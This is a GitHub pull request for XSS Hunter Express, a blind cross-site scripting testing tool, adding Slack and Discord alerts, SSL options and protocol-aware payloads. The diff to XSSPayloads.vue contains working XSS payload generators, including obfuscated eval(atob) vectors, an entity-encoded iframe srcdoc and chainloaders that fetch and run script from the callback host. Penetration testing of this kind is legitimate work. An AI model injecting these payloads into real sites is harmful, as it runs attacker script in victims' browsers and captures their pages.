Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Discord/Slack Integration #23

Open
wants to merge 10 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
20 changes: 19 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,6 @@
<h1 style="color: red;">This is an archived project</h1>
<p>Please refer to the new location of the project at <a href="https://github.com/adamjsturge/xsshunter-go">https://github.com/adamjsturge/xsshunter-go</a></p>

# XSS Hunter Express
## *Sets up in 5 minutes and requires no maintenance*

Expand All @@ -17,6 +20,8 @@ To set up XSS Hunter Express, modify the [`docker-compose.yaml`](https://github.
The following are some YAML fields (in [`docker-compose.yaml`](https://github.com/mandatoryprogrammer/xsshunter-express/blob/main/docker-compose.yml)) you'll need to modify before starting the service:

* `HOSTNAME`: Set this field to your hostname you want to use for your payloads and to access the web admin panel. Often this is as short as possible (e.g. `xss.ht`) so the payload can be fit into various fields for testing. This hostname should be mapped to the IP address of your instance (via a DNS `A` record).
* `GREENLOCK_SSL_ENABLED`: Set this field to true for default SSL setup threw greenlock. Set false if you know what don't want it
* `SELF_SSL`: You should know what you're doing with this if you set it for true. Sets the cookie to proxy mode making them secure but it needs to be behind a SSL Cert
* `SSL_CONTACT_EMAIL`: In order to automatically set up and renew TLS/SSL certificates via [Let's Encrypt](https://letsencrypt.org/) you'll need to provide an email address.

The following are needed if you want email notifications:
Expand All @@ -30,6 +35,19 @@ The following are needed if you want email notifications:
* `SMTP_FROM_EMAIL`: The email address of your email account on the SMTP server (e.g. `[email protected]`).
* `SMTP_RECEIVER_EMAIL`: What email the notifications will be sent to. This may be the same as the above but could be different.

The following are needed if you want slack notifications:

* `SLACK_NOTIFICATIONS_ENABLED`: Leave enabled to receive slack notifications (you must set this up via the below configurations as well).
* `SLACK_WEBHOOK`: The slack webhook that you get once you setup integration.
* `SLACK_CHANNEL`: The slack channel that the webhook will post to.
* `SLACK_USERNAME`: The username given to the slack message (e.g. `XSS Hunter Alerts`).
* `SLACK_EMOJI`: The Emoji used as the porfile picture on slack (e.g. `warning`).

The following are needed if you want discord notifications:

* `DISCORD_NOTIFICATIONS_ENABLED`: Leave enabled to receive discord notifications (you must set this up via the below configurations as well).
* `DISCORD_WEBHOOK`: The discord webhook that you get once you setup integration.

Finally, the following is worth considering for the security conscious:

* `CONTROL_PANEL_ENABLED`: If you want to minimize the attack surface of your instance you can disable the web control panel. This makes it so you'll only receive emails of payload fires (results will still be stored on disk and in the database).
Expand Down Expand Up @@ -91,4 +109,4 @@ Assuming all has gone well, you'll see an admin password printed onto your scree

## Security Vulnerabilities

Find a security vulnerability in this service? Nice job! Please email me at `mandatory(at)gmail.com` and I'll try to fix it as soon as possible.
Find a security vulnerability in this service? Nice job! Please email me at `mandatory(at)gmail.com` and I'll try to fix it as soon as possible.
3 changes: 2 additions & 1 deletion api.js
Original file line number Diff line number Diff line change
Expand Up @@ -28,9 +28,10 @@ var sessions_settings_object = {
cookieName: 'session',
duration: 7 * 24 * 60 * 60 * 1000, // Default session time is a week
activeDuration: 1000 * 60 * 5, // Extend for five minutes if actively used
proxy: process.env.SELF_SSL === "true",
cookie: {
httpOnly: true,
secure: true
secure: (process.env.GREENLOCK_SSL_ENABLED === "true" || process.env.GREENLOCK_SSL_ENABLED === "true"),
}
}
function session_wrapper_function(req, res, next) {
Expand Down
22 changes: 21 additions & 1 deletion app.js
Original file line number Diff line number Diff line change
Expand Up @@ -234,9 +234,29 @@ async function get_app_server() {
const new_payload_fire_result = await PayloadFireResults.create(payload_fire_data);

// Send out notification via configured notification channel
if (process.env.SLACK_NOTIFICATIONS_ENABLED === "true") {
payload_fire_data.screenshot_url = `https://${process.env.HOSTNAME}/screenshots/${payload_fire_data.screenshot_id}.png`;
try {
await notification.send_slack_notification(payload_fire_data);
} catch (error) {
console.error(error);
}
}
if (process.env.DISCORD_NOTIFICATIONS_ENABLED === "true") {
payload_fire_data.screenshot_url = `https://${process.env.HOSTNAME}/screenshots/${payload_fire_data.screenshot_id}.png`;
try {
await notification.send_discord_notification(payload_fire_data);
} catch (error) {
console.error(error);
}
}
if(process.env.SMTP_EMAIL_NOTIFICATIONS_ENABLED === "true") {
payload_fire_data.screenshot_url = `https://${process.env.HOSTNAME}/screenshots/${payload_fire_data.screenshot_id}.png`;
await notification.send_email_notification(payload_fire_data);
try {
await notification.send_email_notification(payload_fire_data);
} catch (error) {
console.error(error);
}
}
});

Expand Down
13 changes: 13 additions & 0 deletions docker-compose.yml
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,8 @@ services:
- HOSTNAME=your.host.name
# [REQUIRED] Email for SSL
- [email protected]
- GREENLOCK_SSL_ENABLED=true
- SELF_SSL=false
# Maximum XSS callback payload size
# This includes the webpage screenshot, DOM HTML,
# page text, and other metadata. Note that if the
Expand All @@ -31,6 +33,17 @@ services:
- SMTP_PASSWORD=YourEmailPassword
- [email protected]
- [email protected]
# Whether or not to enable slack notifications via
# Webhook for XSS payload fires.
- SLACK_NOTIFICATIONS_ENABLED=true
- SLACK_WEBHOOK=https://hooks.slack.com/services/
- SLACK_CHANNEL=xssalerting
- SLACK_USERNAME=XSS-Hunter
- SLACK_EMOJI=hackerman
# Whether or not to enable Discord notifications via
# Webhook for XSS payload fires.
- DISCORD_NOTIFICATIONS_ENABLED=true
- DISCORD_WEBHOOK=discord.com/api/webhooks/
# THERE IS NO NEED TO MODIFY BELOW THIS LINE
# ------------------------------------------
# FEEL FREE, BUT KNOW WHAT YOU'RE DOING.
Expand Down
14 changes: 9 additions & 5 deletions docker-entrypoint.sh
Original file line number Diff line number Diff line change
@@ -1,9 +1,13 @@
#!/usr/bin/env bash
echo "Initializing SSL/TLS..."
# Set up Greenlock
# Test if --maintainer-email is required, we can set it via environment variables...
npx greenlock init --config-dir /app/greenlock.d --maintainer-email $SSL_CONTACT_EMAIL
npx greenlock add --subject $HOSTNAME --altnames "$HOSTNAME"
if [[ $GREENLOCK_SSL_ENABLED = 'true' ]]; then
echo "Initializing SSL/TLS..."
# Set up Greenlock
# Test if --maintainer-email is required, we can set it via environment variables...
npx greenlock init --config-dir /app/greenlock.d --maintainer-email $SSL_CONTACT_EMAIL
npx greenlock add --subject $HOSTNAME --altnames "$HOSTNAME"
else
echo "Skipping SSL initialization"
fi

echo "Starting server..."
node server.js
19 changes: 13 additions & 6 deletions front-end/src/pages/XSSPayloads.vue
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@
<div class="row pl-4 pr-4 p-2" style="display: block;">
<div>
<h1><i class="fas fa-file-code"></i> XSS Payloads</h1>
{{this.http_warning}}
</div>
<card v-for="payload in payloads">
<h4 class="card-title" v-html="payload.title"></h4>
Expand Down Expand Up @@ -82,13 +83,13 @@ export default {
watch: {},
methods: {
js_attrib: function() {
return 'var a=document.createElement("script");a.src="https://' + this.base_domain + '";document.body.appendChild(a);';
return 'var a=document.createElement("script");a.src="' + location.protocol + '//' + this.base_domain + '";document.body.appendChild(a);';
},
basic_script: function() {
return "\"><script src=\"https://" + this.base_domain + "\"><\/script>";
return "\"><script src=\"" + location.protocol + "//" + this.base_domain + "\"><\/script>";
},
javascript_uri: function() {
return "javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'https://" + this.base_domain + "\\';document.body.appendChild(a)')";
return "javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'" + location.protocol + "//" + this.base_domain + "\\';document.body.appendChild(a)')";
},
input_onfocus: function() {
return "\"><input onfocus=eval(atob(this.id)) id=" + html_encode(urlsafe_base64_encode(this.js_attrib())) + " autofocus>";
Expand All @@ -100,13 +101,13 @@ export default {
return "\"><video><source onerror=eval(atob(this.id)) id=" + html_encode(urlsafe_base64_encode(this.js_attrib())) + ">";
},
iframe_srcdoc: function() {
return "\"><iframe srcdoc=\"&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#118;&#97;&#114;&#32;&#97;&#61;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#114;&#101;&#97;&#116;&#101;&#69;&#108;&#101;&#109;&#101;&#110;&#116;&#40;&#34;&#115;&#99;&#114;&#105;&#112;&#116;&#34;&#41;&#59;&#97;&#46;&#115;&#114;&#99;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;" + this.base_domain + "&#34;&#59;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#97;&#112;&#112;&#101;&#110;&#100;&#67;&#104;&#105;&#108;&#100;&#40;&#97;&#41;&#59;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;\">";
return "\"><iframe srcdoc=\"&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#118;&#97;&#114;&#32;&#97;&#61;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#114;&#101;&#97;&#116;&#101;&#69;&#108;&#101;&#109;&#101;&#110;&#116;&#40;&#34;&#115;&#99;&#114;&#105;&#112;&#116;&#34;&#41;&#59;&#97;&#46;&#115;&#114;&#99;&#61;&#34;&#104;&#116;&#116;&#112;" + (location.protocol === "https:" ? "&#115;" : "") + "&#58;&#47;&#47;" + this.base_domain + "&#34;&#59;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#97;&#112;&#112;&#101;&#110;&#100;&#67;&#104;&#105;&#108;&#100;&#40;&#97;&#41;&#59;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;\">";
},
xmlhttprequest_load: function() {
return '<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "https://' + this.base_domain + '");a.send();<\/script>'
return '<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "' + location.protocol + '//' + this.base_domain + '");a.send();<\/script>'
},
jquery_chainload: function() {
return '<script>$.getScript("https://' + this.base_domain + '")<\/script>';
return '<script>$.getScript("' + location.protocol + '//' + this.base_domain + '")<\/script>';
},
},
computed: {},
Expand All @@ -117,6 +118,12 @@ export default {

// Base domain
this.base_domain = api_request.BASE_DOMAIN;

if (location.protocol !== "https:") {
this.http_warning = "You are not using HTTPS all your payloads reflect that. If you meant to have HTTPS please visit the admin page with HTTPS";
} else {
this.http_warning = "";
}
},
beforeDestroy() {}
};
Expand Down
36 changes: 35 additions & 1 deletion notification.js
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
const nodemailer = require('nodemailer');
const mustache = require('mustache');
const fs = require('fs');
const axios = require('axios');

const XSS_PAYLOAD_FIRE_EMAIL_TEMPLATE = fs.readFileSync(
'./templates/xss_email_template.htm',
Expand Down Expand Up @@ -34,4 +35,37 @@ async function send_email_notification(xss_payload_fire_data) {
console.log("Message sent: %s", info.messageId);
}

module.exports.send_email_notification = send_email_notification;
async function send_slack_notification(xss_payload_fire_data) {
var slack_message = {
"channel": process.env.SLACK_CHANNEL,
"username": process.env.SLACK_USERNAME,
"icon_emoji": `:${process.env.SLACK_EMOJI}:`,
"blocks": [
{
"type": "section",
"text": {
"type": "plain_text",
"text": `XSS Payload Fired On ${xss_payload_fire_data.url}`
}
},
]
};

await axios.post(process.env.SLACK_WEBHOOK, JSON.stringify(slack_message));

console.log("Message sent to slack");
}

async function send_discord_notification(xss_payload_fire_data) {
var discord_message = {
"content": `XSS Payload Fired On ${xss_payload_fire_data.url}`
};

await axios.post(process.env.DISCORD_WEBHOOK, discord_message);

console.log("Message sent to discord");
}

module.exports.send_email_notification = send_email_notification;
module.exports.send_slack_notification = send_slack_notification;
module.exports.send_discord_notification = send_discord_notification;
Loading